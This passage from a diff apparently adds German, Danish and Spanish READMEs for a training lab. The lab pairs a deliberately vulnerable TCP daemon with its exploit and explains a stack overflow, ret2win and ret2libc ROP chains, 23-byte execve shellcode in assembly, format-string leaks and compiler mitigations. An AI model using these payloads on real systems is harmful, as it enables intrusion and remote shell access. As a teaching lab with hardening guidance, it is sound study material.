Füge dann zwischen `buf` und den gespeicherten Registern ein zweites Array
ein und beobachte, wie die automatische Erkennung es verkraftet.
2. **Füge `-Wformat-security` hinzu und schau, was der Format-String-Pfad
tut.** Sende `%p %p %p %n` und beobachte, wie `food` den Stack leakt.
3. **Nutze gdb.** `make debug`, dann:
```gdb
(gdb) break food.c:393 # das read(), das überläuft
(gdb) run -p 2342
(gdb) info registers rsp rbp
(gdb) x/24gx $rsp # beachte, wo die Rücksprungadresse liegt
(gdb) c # in einem anderen Terminal: ./fooc -t ret2win
```
Der `SIGSEGV`-Handler loggt `REG_RIP` und `REG_RSP`, sodass dir `food.log`
sagt, ob die Übernahme gelandet ist, selbst wenn das Kind stirbt, bevor du
dich anhängen kannst.
4. **Lösche den Ausrichtungs-Fix** in `fooc.c` und beobachte den `#GP`-Fault
mit der `si_addr = 0`-Signatur. Lies dann
`/proc/sys/kernel/randomize_va_space` und denke darüber nach, was ASLR
randomisiert und was nicht.
5. **Brich die libc-Symbolauflösung** und beobachte, wie `fooc` sich anpasst.
Der ganze Sinn des `/proc/self/maps`-Ansatzes ist, dass kein Offset hart
verdrahtet ist.
6. **Schreibe eine vierte Technik.** Eine `ret2csu`-artige Kette, wenn du
`__libc_csu_init` findest, oder eine SROP-Kette (`sigreturn`-Frames lassen
dich alle Register gleichzeitig kontrollieren). Beides ist reines ROP und
braucht keinen ausführbaren Speicher.
7. **Fixe `food.c` richtig**, Bug für Bug, und führe den Exploit nach jedem
Fix erneut aus. Die Reihenfolge in der Tabelle am Anfang von `food.c` ist
ungefähr die richtige Reihenfolge zum Nachdenken: begrenze zuerst das read,
denn nichts anderes zählt, bis der Bug weg ist.
---
## Aufräumen
```sh
make stop # stoppt food
make clean # entfernt Build-Produkte; lässt food.log in Ruhe
pkill -x sh # nur, wenn du streunende Shells aus einem schiefgelaufenen Test hast
```
Beachte: `pkill -x food` matcht den Prozess**namen** exakt. Verwende nicht
`pkill -f ./food` — dieses Muster matcht auch die Shell, in die du es getippt
hast, und tötet deine eigene Session. Das ist keine Hypothese; es ist beim Bau
dieses Labors passiert.

414
README.DK.md Normal file
View file

@ -0,0 +1,414 @@
# food / fooc — et stack-bufferoverløb, fra begge sider
Et C99-sikkerhedslaboratorium i to halvdele:
- **`food.c`** — en bevidst sårbar TCP-daemon. Den har et ægte,
lærebogsagtigt stack-bufferoverløb (CWE-120) og et par fejl oveni.
- **`fooc.c`** — et exploit til den. Det beregner overflow-offsettet ved at
disassemblere target-programmet ved kørsel, læser adresse-leaks fra daemonen
og får en shell på "offeret" ved at overskrive en gemt returadresse.
Pointen er ikke shellen. Pointen er, at du kan følge med hele vejen, hvordan
en hukommelsessikkerhedsfejl bliver til vilkårlig kodeudførelse — og derefter
se præcist, hvilke modforanstaltninger der stopper hvert trin i den kæde. Hver
linje i begge programmer er kommenteret, fordi mekanismen er lektionen.
```
din terminal
|
./fooc (exploit)
|
TCP 127.0.0.1:2342
|
./food (sårbar daemon)
|
fork() -> vulnerable_handler() -> overflow -> ret -> din kode
```
---
## ⚠️ Læs dette først
**`food` er en bevidst ødelagt netværkstjeneste. Den binder kun til
`127.0.0.1`, og den standard er bevidst — lad den være der.**
- Kør den **ikke** på en maskine, du holder af, eller på noget med data på.
- Bind den **ikke** til `0.0.0.0` eller en rigtig netværksgrænseflade. Den er
bevidst eksternt udnyttelig.
- At rette `fooc` mod en host, du ikke ejer eller ikke har skriftlig tilladelse
til at teste, er en computerindbrudsforseelse i de fleste jurisdiktioner —
også efter UK Computer Misuse Act og US Computer Fraud and Abuse Act.
- Den binder til en uprivilegeret port (>1024), så du behøver ikke root. Forbedr
den ikke ved at tilføje capabilities eller køre den som systemtjeneste.
- Hver forbindelse håndteres i et `fork()`et barn, og `food` reaper det, så
nedbrud hober sig ikke op. Hvis du bagefter finder dusinvis af strejfende
`sh`-processer, er `pkill -x sh` oprydningen.
I tvivlstilfælde: Dette laboratorium er til en virtuel maskine eller container,
på et netværk du kontrollerer, på en maskine uden noget, du ville savne.
---
## Hurtig start
```sh
make # bygger food, fooc og test-harnessene
make run # starter food på 127.0.0.1:2342, frakoblet i baggrunden
make test # kører alle tre exploit-teknikker
make stop # stopper daemonen
```
Derefter i hånden:
```sh
./fooc -t leak # se de adresse-leaks, food udleverer
./fooc -t demo -v # send junk; se food dø med SIGSEGV
./fooc -t ret2win -i # hop til en funktion, der allerede findes -> shell
```
### Krav
| Værktøj | Hvortil | Bemærkninger |
|---|---|---|
| `gcc` (eller clang) | bygning | C99. Testet med gcc 16.2 |
| `objdump` | `fooc` | binutils. `fooc` kalder det ved kørsel |
| `nasm` | `make verify` | kun til at krydstjekke shellcoden; springes over, hvis ikke til stede |
| `gdb` | `make debug` | valgfrit |
| Linux, x86-64 | begge | payload og gadget-jagt er arkitekturafhængige |
`fooc` har også brug for `-ldl` til `dlsym()`; Makefile'et klarer det.
---
## Fejlen
Én linje i `food.c` er hele angrebsfladen:
```c
char buf[FOOD_BUFSZ]; /* 64 bytes */
n = read(fd, buf, FOOD_READMAX); /* op til 512 bytes fra netværket */
```
64 bytes destination, 512 bytes accepteret. Angriberen overskriver 448 bytes
forbi enden af bufferen, og fordi stacken vokser nedad, betyder "forbi enden"
"ind i det ovenstående frame" — og det er præcis der, den gemte
framepointer og den **gemte returadresse** ligger.
I en kompileret x86-64-funktion ved `-O0`:
```
høje adresser
+------------------------+ rbp + 16 : callerens lokale
| ... |
+------------------------+ rbp + 8 : GEMT RETURADRESSE <-- bliver til RIP
| saved rbp (8 bytes) |
+------------------------+ rbp : vores framepointer
| line[128] |
| buf[64] | <- rsp: det, read() fylder
+------------------------+
lave adresser
```
Når funktionen returnerer, popper `leave; ret` de 8 bytes ind i `RIP`, og CPU'en
hopper, hvor angriberen har bestemt. Alt andet i dette laboratorium er
aritmetik om, hvorhen der skal peges.
For denne build er tallene: `buf` er 64 bytes, det gemte `rbp` er 8, så
returadressen ligger på offset **88** fra starten af `buf`. `fooc` hardkoder
ikke det — det disassemblerer `food` og finder `lea -0x50(%rbp)` foran
`call read@plt`, så det fortsat virker, hvis du ændrer `FOOD_BUFSZ`.
> gcc fortæller dig allerede om det. At bygge `food` printer:
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
> destination [-Wstringop-overflow=]`. Undertryk aldrig den advarsel i ægte
> kode. Den er gratis sikkerhed.
---
## De tre teknikker
`fooc -t <technique>`. De står i den rækkefølge, en ægte angriber ville
arbejde sig igennem dem, fordi hver enkelt har brug for det, den forrige lærte
dig.
### 1. `ret2win` — kontrollér instruktionsmarkøren
```
[ 88 bytes junk ][ adressen på food's win() ]
^ saved rbp
^ bliver til RIP
```
`win()` er en funktion i target-programmet, der exec'er `/bin/sh`. At
overskrive returadressen med dens adresse er hele exploitet.
**Hvad det lærer:** du har vilkårlig kontrol over instruktionsmarkøren. Det
kræver heller ikke noget leak, fordi binærfilen er bygget `-no-pie`, så `win()`
sidder på en fast adresse for evigt.
**Den virkelige verdens ækvivalent** er ikke "angreb er nemme", men "skib ikke
udokumenterede bagdøre i netværks-binærfiler". Hvis en funktion som `win()`
findes i din binærfil, vil et bufferoverløb finde den. Det er bogstaveligt talt
Juniper ScreenOS-bagdør-CVE-klassen.
**Forsvar:** `-fPIE` (eller ASLR) randomiserer load-adressen, så angriberen må
kende adressen — hvilket som regel betyder, at de først har brug for et leak.
Derfor fejler `ret2win` mod `food_hardened`.
### 2. `ret2libc` — kald hvad som helst, ved navn
```
[ junk ][ pop rdi; ret ][ adressen på "/bin/sh" ][ adressen på system() ]
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
sætter rdi strengen at sende funktionen at kalde
```
Ved udførelse: `ret` popper `pop rdi; ret` ind i RIP; det popper
`"/bin/sh"`-pointeren ind i `RDI`; dets `ret` popper `system()` ind i RIP, mens
`RDI` stadig holder strengen. `system("/bin/sh")` kører.
Gadgets (`pop rdi; ret`) er ikke i `food` — denne glibc har intet
`__libc_csu_init` — så `fooc` finder dem ved at scanne live libc-hukommelse
efter byteparret `5f c3`. Det lokaliserer libc via `/proc/self/maps`, finder
offsets for `system` og `"/bin/sh"` med `dlsym()` og beregner basen ud fra det
leak, `food` offentliggør. Intet er hardkodet, så det overlever en
libc-opdatering.
**Hvad det lærer:** når du først kan kontrollere `RIP`, kan du kæde
*eksisterende* instruktioner sammen. Det er return-oriented programming, og det
er sådan næsten alle virkelige exploits ser ud, fordi det ikke kræver
angriberleveret eksekverbar hukommelse.
**Forsvar:** ingen af compiler-flagene stopper det alene. Det virker mod en
PIE-binærfil, med NX, med canary — så længe angriberen har et leak.
Forsvarene er "hav ikke overløbet" og "læk ikke adresser". Se tabellen nedenfor.
### 3. `shellcode` — kør din egen maskinkode
23 bytes, placeret i starten af bufferen, med `RIP` pegende på dem:
```asm
xor esi, esi ; envp = NULL
xor edx, edx ; argv = NULL
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" som 8 rå bytes
push rdi ; læg strengen på stacken
mov rdi, rsp ; rdi = &"/bin/sh"
push 0x3b ; 59 = __NR_execve
pop rax
syscall ; vi er nu en shell
```
Det er den reneste form for fejlen: angriberen leverer *instruktionerne*, ikke
bare adressen på instruktioner, der allerede findes. Ingen libc-offsets
nødvendige, så det virker i princippet mod et statisk linket, fuldt
randomiseret target.
`make verify` assemblerer `shellcode.S` og diff'er det mod byte-arrayet, der er
indlejret i `fooc.c`, så de to ikke kan drive fra hinanden.
**Forsvar:** **NX** (også kaldet W^X, "no execute"). At markere stacken som
ikke-eksekverbar får hardwaren til at nægte at hente instruktioner fra den, og
`ret`-et lander på en side, der ikke kan køre. Det er derfor `make food`
giver `-z execstack`: en normal Linux-stack er `rw-p`, ikke `rwx`, og teknikken
dør med SIGSEGV ved `RIP = payloadens adresse`. Den absolut vigtigste lektion i
laboratoriet er, at hver eneste af disse bytes kun virker, fordi compileren fik
besked på at lade stacken være eksekverbar. Det flag er tændt til gavn for
ingen.
### Også inkluderet
| Tilstand | Hvad den gør |
|---|---|
| `-t leak` | forbinder, printer leaks, sender intet |
| `-t demo` | sender `rip_off + 8` bytes `0x41`, så `RIP` bliver `0x4141...` og daemonen dør. Beviser fejlen helt uden adresseviden |
| `-t sled` | et ret-sled, bevidst beholdt som et **fejlende** eksempel. Uden et leak ville du brute-force ASLR ved at fylde bufferen med adressen på et `ret`. Det kan ikke virke her: `food` accepterer 512 bytes, så sleden har ~53 slots mod ~28 bit entropi. Implementeret, så du kan se det fejle og bekræfte, at mekanismen virkelig er "CPU'en følger en kæde af rets" |
---
## Tabellen over modforanstaltninger
Det er den del, man skal huske. Hver række er et ægte forsvar, og højre kolonne
viser, hvad den rent faktisk gør ved begivenhedskæden.
| Modforanstaltning | Sådan aktiveres | Hvad den stopper | Hvad den *ikke* stopper |
|---|---|---|---|
| **Begræns read** | `n = read(fd, buf, sizeof buf - 1);` | **Alt.** Fejlen findes ikke, så intet nedstrøms betyder noget | Intet — det er den eneste fuldstændige fix |
| **Stack-canary** | `-fstack-protector-strong` (gccs standard) | `ret`-et: canaryen tjekkes ved funktionens afslutning, så smadringen opdages, og processen abort'er, før `RIP` poppes | En fejl i en funktion *uden* array (intet at beskytte); et overflow, der holder sig under canaryen; alt, der ikke returnerer normalt |
| **NX / W^X** | `-z noexecstack` (standarden) | Shellcode. Payloadens egne instruktioner kan ikke hentes | ret2win og ret2libc fuldstændigt. De er *grunden* til, at ROP findes |
| **PIE + ASLR** | `-fPIE` + ASLR=2 (begge standard) | ret2wins hardkodede adresser. Alt flytter sig ved hver kørsel | Alt, hvor angriberen har et leak. ASLR hæver prisen på et exploit; det er ikke en fix. Bemærk, at stack, heap og mmap randomiseres, men hoved-binærfilens *indhold* gør ikke — det er det, ROP-kæder bruger |
| **Læk ikke** | ingen `printf("%p")` til klienter; initialisér før du printer | Det informationsleak, der gør ASLR til "gratis" i stedet for "dyrt" | — |
| **Brug ikke `printf(user_data)`** | `printf("%s", buf)` i stedet for `printf(buf)` | Format-string-fejl: `%x`-stack-reads, `%n`-vilkårlige skrivninger, hvilket er en *anden* vej til RCE | — |
| **Brug ikke utroverdige stier** | validér og `openat()` under en fast mappe | Sti-traversal (CWE-22) | — |
| **CET / shadow stack** | `-fcf-protection=full`, kernel- og CPU-understøttelse | `ret`-et selv: shadow stacken husker den *rigtige* returadresse og fault'er ved mismatch. Fanger ROP-kæder, der bruger hardware-`ret` | Angreb, der aldrig `ret` (call-oriented, eller at overskrive en funktionspegers mål med en gadget-kæde, der ikke behøver en retur) |
| **Sikre sprog** | Rust, Go, C# til ny kode | Hele klassen. Bounds-tjek udføres ved kørsel, ikke håbet på ved review | — |
### Se det selv
```sh
make run # sårbar daemon
make test # alle tre teknikker virker
make test-hardened # samme kildekode, modforanstaltninger på
```
`test-hardened` bygger `food_hardened` med `-fstack-protector-strong -fPIE -pie
-z noexecstack`, bytter den ind, kører alle tre igen og lægger derefter den
sårbare tilbage. Du vil se:
```
### stack segment: 'rw-p' (NOT executable) is what you want to see
--- ret2win was stopped by the mitigations (as expected)
--- ret2libc was stopped by the mitigations (as expected)
--- shellcode was stopped by the mitigations (as expected)
```
Og i den hærdede daemons log, canaryen der udløses:
```
*** stack smashing detected ***: terminated
```
Læs det grundigt, for det er den vigtigste linje i hele laboratoriet: **canaryen
fangede ret2win, ikke PIE.** Alle tre teknikker dør ved canaryen, fordi alle tre
går gennem det samme `read()` og smadrer den samme frame. NX stopper kun
yderligere shellcodens *kode*; PIE bryder kun yderligere den hardkodede adresse.
Tænd dem enkeltvis, og du vil opdage, at de fleste enkelte modforanstaltninger
efterlader dig udsat over for noget.
---
## Filer
| Fil | Formål |
|---|---|
| `food.c` | den sårbare daemon. 6 nummererede fejl, hver med sin fix i kommentaren |
| `fooc.c` | exploitet. objdump-baseret offseterkendelse, `/proc`-baseret libc-erkendelse, 4 payload-buildere |
| `shellcode.S` | de 23 shellcode-bytes som assembly, så de kan læses og verificeres. `fooc` bærer dem inline og behøver ikke dette ved kørsel |
| `Makefile` | bygger, tester og den hærdede sammenligning |
| `tests/pty_test.c` | driver `fooc` gennem et pseudo-terminal og tjekker for ægte shell-output |
| `tests/sock_test.c` | uafhængig verifikator over en rå socket, så resultatet ikke afhænger af `fooc` |
| `food.log` | daemonens log. Dit bevis på, hvad der skete |
---
## To fejl i dette laboratorium, der er værd at forstå
Det er ikke target-programmets fejl. Det er fejl i exploitet og i dets
test-harness, og begge producerede overbevisende løgne. De er dokumenteret i
kilden, hvor de bor; her står de, fordi fiaskomønstrene er lærerige.
### Stack-justering: nedbruddet, der ikke er en NULL-dereference
**Symptom.** Kapringen lander korrekt — `gdb` viser dig i `win()` — og så dør
det allerførste, `win()` gør, et `dprintf()`. `SIGSEGV`-handleren rapporterer
`RIP` dybt inde i glibcs formatter og en fejladresse på `(nil)`, hvilket ser
præcis ud som en korrupt pointer.
**Årsag.** System V AMD64-ABI'en kræver 16-byte stack-justering. Et normalt
`ret` genskaber `%rsp` præcis som det tilsvarende `call` gemte det, så
invarianten bevares gratis. Vores nøgne `ret` gør ikke: efter det gælder
`%rsp = buf + rip_off`. Her er `buf` 16-byte justeret og `rip_off` er 88, så
callee'en får en stack, der er 8 mod 16. glibc er kompileret med SSE2, og
`movaps` **fault'er** ved et fejljusteret operand. På x86 rejser det `#GP`, ikke
`#PF`, så kernen har ingen fejladresse og rapporterer `si_addr = 0`. Det NULL
er fingerpeg: en justeringsfejl forklædt som en NULL-dereference.
**Fix.** Et `ret`-gadget *ved offset `rip_off`*, der flytter det rigtige target
8 bytes op, fordi hvert `ret` lægger præcis 8 til `%rsp`. Rækkefølgen er
kritisk: en tidligere version hæftede `ret`-et *efter* target og producerede
`[ padding | target | ret ]`, hvor det afsluttende `ret` aldrig nås, og fixen
stille og roligt intet gør. Et vildfarent `ret`, der ligner en fejl, er næsten
altid bevidst.
### Én socket, to læsere: det byte, der forsvandt
**Symptom.** Shellcode blev rapporteret som fungerende. Derefter blev
pty-harnessen gjort strengere (slukning af `ECHO`, så terminalen holdt op med at
ekko harnessens egen kommandolinje tilbage til sig selv), og teknikken begyndte
at fejle. Dybere set tabte hver teknik præcis ét byte fra starten af hver
udgangschunk: `uid=1000(hanez)` blev printet som `id=1000(hanez)`, `PWNED-OK`
som `WNED-OK`, `Linux 7.2.7` som `inux 7.2.7`.
**Årsag.** `fooc` plejede at `dup2()`e socket'en på sit eget stdin/stdout og
`execv()`e en *lokal* `/bin/sh`, mens et forket relay-barn også læste den samme
socket for at flytte output til terminalen. Kernen er ligeglad med, at de to
samarbejder. En streamsocket har **én** læse-cursor, og hver læser flytter den,
så bytes deles uforudsigeligt mellem dem. Den lokale shell, der er en
interaktiv login-shell, læste præcis ét byte og smed det væk — hver eneste
gang. `strace -f` viste det øjeblikkeligt:
```
read(0, "u", 1) <- den lokale shell, æder et byte
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- relay'et, 1 byte for kort
```
**Fix.** Der er slet ingen shell på denne side. Der er præcis én shell i hele
billedet, og den er på offeret, inde i den kaprede proces, med
TCP-forbindelsen som dens stdin/stdout. Denne side flytter kun bytes. Hvis du
nogensinde har brug for to forbrugere af en stream, skal den stream have én
eneste læser, der bevidst demultiplekser den.
**Meta-lektionen.** Det første "fungerende" resultat var et falsk positivt,
produceret af at pty'en ekkoede harnessens egen kommandolinje tilbage til den,
og fixen for det falske positive er det, der afslørede den rigtige fejl. Tests,
der ikke kan fejle, er værre end ingen tests, fordi de forvandler "jeg ved
ikke" til "det virker". En test-harness fortjener samme mistænksomhed som den
kode, den tester.
---
## At pille ved det
Ting, der er værd at prøve, nogenlunde i den rækkefølge, du lærer mest af dem:
1. **Ændr `FOOD_BUFSZ` til 128.** Kør `fooc` igen. Det burde stadig virke uden
ændringer, fordi det læser offset ud af disassembly'en. Bræk det så i
hånden — hardkod 88 — og se det crashe. Tilføj derefter et andet array
mellem `buf` og de gemte registre, og se den automatiske erkendelse klare
det.
2. **Tilføj `-Wformat-security` og se, hvad format-string-stien gør.** Send
`%p %p %p %n` og se `food` lække stacken.
3. **Brug gdb.** `make debug`, derefter:
```gdb
(gdb) break food.c:393 # det read(), der løber over
(gdb) run -p 2342
(gdb) info registers rsp rbp
(gdb) x/24gx $rsp # bemærk, hvor returadressen ligger
(gdb) c # i et andet terminal: ./fooc -t ret2win
```
`SIGSEGV`-handleren logger `REG_RIP` og `REG_RSP`, så `food.log` fortæller
dig, om kapringen landede, selv når barnet dør, før du kan koble på.
4. **Slet justeringsfixen** i `fooc.c` og se `#GP`-fejlen med
`si_addr = 0`-signaturen. Læs derefter `/proc/sys/kernel/randomize_va_space`
og tænk over, hvad ASLR randomiserer, og hvad det ikke gør.
5. **Bræk libc-symbolopløsningen** og se `fooc` tilpasse sig. Hele pointen med
`/proc/self/maps`-tilgangen er, at intet offset er hardkodet.
6. **Skriv en fjerde teknik.** En `ret2csu`-lignende kæde, hvis du kan finde
`__libc_csu_init`, eller en SROP-kæde (`sigreturn`-frames lader dig
kontrollere alle registre på én gang). Begge er rent ROP og behøver ingen
eksekverbar hukommelse.
7. **Fix `food.c` ordentligt**, én fejl ad gangen, og kør exploitet igen efter
hver fix. Rækkefølgen i tabellen øverst i `food.c` er nogenlunde den rigtige
rækkefølge at tænke i: begræns først read'et, for intet andet betyder noget,
før fejlen er væk.
---
## Oprydning
```sh
make stop # stopper food
make clean # fjerner build-produkter; lader food.log være i fred
pkill -x sh # kun hvis du har strejfende shells fra en test, der gik skævt
```
Bemærk: `pkill -x food` matcher proces**navnet** præcist. Brug ikke
`pkill -f ./food` — det mønster matcher også den shell, du har skrevet det i,
og dræber din egen session. Det er ikke en hypotese; det skete, mens dette
laboratorium blev bygget.

426
README.ES.md Normal file
View file

@ -0,0 +1,426 @@
# food / fooc — un desbordamiento de búfer de pila, desde ambos lados
Un laboratorio de seguridad en C99 en dos mitades:
- **`food.c`** — un demonio TCP deliberadamente vulnerable. Tiene un
desbordamiento de búfer de pila real, de libro de texto (CWE-120), más un par
de errores de propina.
- **`fooc.c`** — un exploit contra él. Calcula el offset del desbordamiento
desensamblando el programa objetivo en tiempo de ejecución, lee las fugas de
direcciones del demonio y consigue un shell en la "víctima" sobrescribiendo
una dirección de retorno guardada.
El punto no es el shell. El punto es que puedas seguir de principio a fin cómo
un error de seguridad de memoria se convierte en ejecución de código arbitrario
— y después ver exactamente qué mitigaciones detienen cada eslabón de esa
cadena. Cada línea de ambos programas está comentada, porque el mecanismo es la
lección.
```
tu terminal
|
./fooc (exploit)
|
TCP 127.0.0.1:2342
|
./food (demonio vulnerable)
|
fork() -> vulnerable_handler() -> overflow -> ret -> tu código
```
---
## ⚠️ Lee esto primero
**`food` es un servicio de red deliberadamente roto. Solo se enlaza a
`127.0.0.1`, y ese valor por defecto es deliberado — déjalo así.**
- **No** lo ejecutes en una máquina que te importe, ni en nada que contenga
datos.
- **No** lo enlaces a `0.0.0.0` ni a una interfaz de red real. Está
deliberadamente diseñado para ser explotable de forma remota.
- Apuntar `fooc` a un host que no posees o para el que no tienes permiso
escrito de prueba es un delito informático en la mayoría de las
jurisdicciones — también bajo la UK Computer Misuse Act y la US Computer
Fraud and Abuse Act.
- Se enlaza a un puerto no privilegiado (>1024), así que no necesitas root. No
lo "mejores" añadiendo capabilities o ejecutándolo como servicio del sistema.
- Cada conexión se gestiona en un hijo `fork()`, y `food` hace reap de él, así
que los crashes no se acumulan. Si luego encuentras docenas de `sh`
sueltos, `pkill -x sh` es la limpieza.
En caso de duda: este laboratorio es para una máquina virtual o un contenedor,
en una red que tú controlas, en una máquina sin nada que echaras de menos.
---
## Inicio rápido
```sh
make # compila food, fooc y los harness de prueba
make run # arranca food en 127.0.0.1:2342, desacoplado en segundo plano
make test # ejecuta las tres técnicas de exploit
make stop # detiene el demonio
```
Después, a mano:
```sh
./fooc -t leak # mira las fugas de direcciones que food revela
./fooc -t demo -v # envía basura; ve morir a food con SIGSEGV
./fooc -t ret2win -i # salta a una función que ya existe -> shell
```
### Requisitos
| Herramienta | Para qué | Notas |
|---|---|---|
| `gcc` (o clang) | compilar | C99. Probado con gcc 16.2 |
| `objdump` | `fooc` | binutils. `fooc` lo invoca en tiempo de ejecución |
| `nasm` | `make verify` | solo para contrastar el shellcode; se omite si falta |
| `gdb` | `make debug` | opcional |
| Linux, x86-64 | ambos | el payload y la caza de gadgets dependen de la arquitectura |
`fooc` también necesita `-ldl` para `dlsym()`; el Makefile lo gestiona.
---
## El bug
Una línea en `food.c` es toda la superficie de ataque:
```c
char buf[FOOD_BUFSZ]; /* 64 bytes */
n = read(fd, buf, FOOD_READMAX); /* hasta 512 bytes de la red */
```
64 bytes de destino, 512 aceptados. El atacante sobrescribe 448 bytes más allá
del final del búfer, y como la pila crece hacia abajo, "más allá del final"
significa "dentro del marco superior" — y ahí es exactamente donde están el
puntero de marco guardado y la **dirección de retorno guardada**.
En una función x86-64 compilada a `-O0`:
```
direcciones altas
+------------------------+ rbp + 16 : locales de la llamadora
| ... |
+------------------------+ rbp + 8 : DIRECCIÓN DE RETORNO GUARDADA <-- se vuelve RIP
| saved rbp (8 bytes) |
+------------------------+ rbp : nuestro puntero de marco
| line[128] |
| buf[64] | <- rsp: lo que read() llena
+------------------------+
direcciones bajas
```
Cuando la función retorna, `leave; ret` hace pop de los 8 bytes en `RIP`, y la
CPU salta donde el atacante ha decidido. Todo lo demás en este laboratorio es
aritmética sobre hacia dónde apuntar.
Para esta compilación, los números son: `buf` mide 64 bytes, el `rbp` guardado
mide 8, así que la dirección de retorno está en el offset **88** desde el
inicio de `buf`. `fooc` no hardcodea eso — desensambla `food` y encuentra el
`lea -0x50(%rbp)` delante de `call read@plt`, así que sigue funcionando si
cambias `FOOD_BUFSZ`.
> gcc ya te lo dice. Compilar `food` imprime:
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
> destination [-Wstringop-overflow=]`. Nunca silencies esa advertencia en
> código real. Es seguridad gratuita.
---
## Las tres técnicas
`fooc -t <technique>`. Están en el orden en que un atacante real trabajaría en
ellas, porque cada una necesita lo que la anterior te enseñó.
### 1. `ret2win` — controla el puntero de instrucción
```
[ 88 bytes de basura ][ la dirección del win() de food ]
^ saved rbp
^ se vuelve RIP
```
`win()` es una función del programa objetivo que hace exec de `/bin/sh`.
Sobrescribir la dirección de retorno con su dirección es todo el exploit.
**Lo que enseña:** tienes control arbitrario del puntero de instrucción.
Tampoco necesita fuga, porque el binario está compilado con `-no-pie`, así que
`win()` está en una dirección fija para siempre.
**El equivalente del mundo real** no es "los ataques son fáciles", sino "no
envíes backdoors no documentadas en binarios de red". Si existe una función
como `win()` en tu binario, un desbordamiento de búfer la encontrará. Es
literalmente la clase de CVE de backdoor de Juniper ScreenOS.
**Defensa:** `-fPIE` (o ASLR) randomiza la dirección de carga, así que el
atacante debe conocer la dirección — lo que normalmente significa que primero
necesita una fuga. Por eso `ret2win` falla contra `food_hardened`.
### 2. `ret2libc` — llama a lo que sea, por su nombre
```
[ basura ][ pop rdi; ret ][ dirección de "/bin/sh" ][ dirección de system() ]
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
pone rdi la cadena a enviar la función a llamar
```
En ejecución: `ret` hace pop de `pop rdi; ret` en RIP; eso hace pop del puntero
`"/bin/sh"` en `RDI`; su `ret` hace pop de `system()` en RIP, mientras `RDI`
sigue sosteniendo la cadena. `system("/bin/sh")` se ejecuta.
Los gadgets (`pop rdi; ret`) no están en `food` — esta glibc no tiene
`__libc_csu_init` — así que `fooc` los encuentra escaneando la memoria viva de
libc en busca del par de bytes `5f c3`. Localiza libc vía `/proc/self/maps`,
encuentra los offsets de `system` y `"/bin/sh"` con `dlsym()` y calcula la base
a partir de la fuga que `food` divulga. Nada está hardcodeado, así que
sobrevive a una actualización de libc.
**Lo que enseña:** una vez que puedes controlar `RIP`, puedes encadenar
instrucciones *existentes*. Eso es return-oriented programming, y así se ven
casi todos los exploits reales, porque no requiere memoria ejecutable provista
por el atacante.
**Defensa:** ninguno de los flags del compilador lo detiene solo. Funciona
contra un binario PIE, con NX, con canary — mientras el atacante tenga una
fuga. Las defensas son "no tengas el desbordamiento" y "no fugues
direcciones". Ver la tabla más abajo.
### 3. `shellcode` — ejecuta tu propio código máquina
23 bytes, colocados al inicio del búfer, con `RIP` apuntando a ellos:
```asm
xor esi, esi ; envp = NULL
xor edx, edx ; argv = NULL
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" como 8 bytes crudos
push rdi ; deja la cadena en la pila
mov rdi, rsp ; rdi = &"/bin/sh"
push 0x3b ; 59 = __NR_execve
pop rax
syscall ; ahora somos un shell
```
Esta es la forma más pura del bug: el atacante entrega *las instrucciones*, no
solo la dirección de instrucciones que ya existen. No se necesitan offsets de
libc, así que en principio funciona contra un objetivo estáticamente enlazado,
totalmente randomizado.
`make verify` ensambla `shellcode.S` y lo compara con el array de bytes embebido
en `fooc.c`, para que no puedan divergir.
**Defensa:** **NX** (también llamado W^X, "no execute"). Marcar la pila como no
ejecutable hace que el hardware se niegue a buscar instrucciones en ella, y el
`ret` aterriza en una página que no puede ejecutarse. Por eso `make food` pasa
`-z execstack`: una pila Linux normal es `rw-p`, no `rwx`, y la técnica muere
con SIGSEGV en `RIP = la dirección del payload`. La lección más importante del
laboratorio es que cada uno de estos bytes funciona solo porque se le dijo al
compilador que dejara la pila ejecutable. Ese flag está activado para bien de
nadie.
### También incluido
| Modo | Qué hace |
|---|---|
| `-t leak` | se conecta, imprime fugas, no envía nada |
| `-t demo` | envía `rip_off + 8` bytes de `0x41`, así que `RIP` se vuelve `0x4141...` y el demonio muere. Prueba el bug sin ningún conocimiento de direcciones |
| `-t sled` | un ret-sled, conservado deliberadamente como ejemplo **fallido**. Sin una fuga, harías fuerza bruta a ASLR llenando el búfer con la dirección de un `ret`. No puede funcionar aquí: `food` acepta 512 bytes, así que el sled tiene ~53 ranuras frente a ~28 bits de entropía. Implementado para que puedas verlo fallar y confirmar que el mecanismo es de verdad "la CPU sigue una cadena de rets" |
---
## La tabla de mitigaciones
Esta es la parte que hay que recordar. Cada fila es una defensa real, y la
columna derecha muestra qué hace realmente con la cadena de eventos.
| Mitigación | Cómo activarla | Qué detiene | Qué *no* detiene |
|---|---|---|---|
| **Limita read** | `n = read(fd, buf, sizeof buf - 1);` | **Todo.** El bug no existe, así que nada aguas abajo importa | Nada — es el único fix completo |
| **Canary de pila** | `-fstack-protector-strong` (por defecto en gcc) | El `ret`: la canary se comprueba al final de la función, así que la destrucción se detecta y el proceso aborta antes de que se haga pop de `RIP` | Un error en una función *sin* array (nada que proteger); un desbordamiento que se mantiene por debajo de la canary; todo lo que no retorna normalmente |
| **NX / W^X** | `-z noexecstack` (el valor por defecto) | Shellcode. Las instrucciones del payload no pueden buscarse | ret2win y ret2libc por completo. Son *la razón* de que exista ROP |
| **PIE + ASLR** | `-fPIE` + ASLR=2 (ambos por defecto) | Las direcciones hardcodeadas de ret2win. Todo se mueve en cada ejecución | Todo donde el atacante tenga una fuga. ASLR sube el precio de un exploit; no es un fix. Nota que la pila, el heap y mmap se randomizan, pero el *contenido* del binario principal no — eso es lo que usan las cadenas ROP |
| **No fugues** | ningún `printf("%p")` a clientes; inicializa antes de imprimir | La fuga de información que hace que ASLR sea "gratis" en vez de "caro" | — |
| **No uses `printf(user_data)`** | `printf("%s", buf)` en lugar de `printf(buf)` | Errores de cadena de formato: lecturas de pila `%x`, escrituras arbitrarias `%n` — un *otro* camino a RCE | — |
| **No uses rutas no confiables** | valida y `openat()` bajo un directorio fijo | Path traversal (CWE-22) | — |
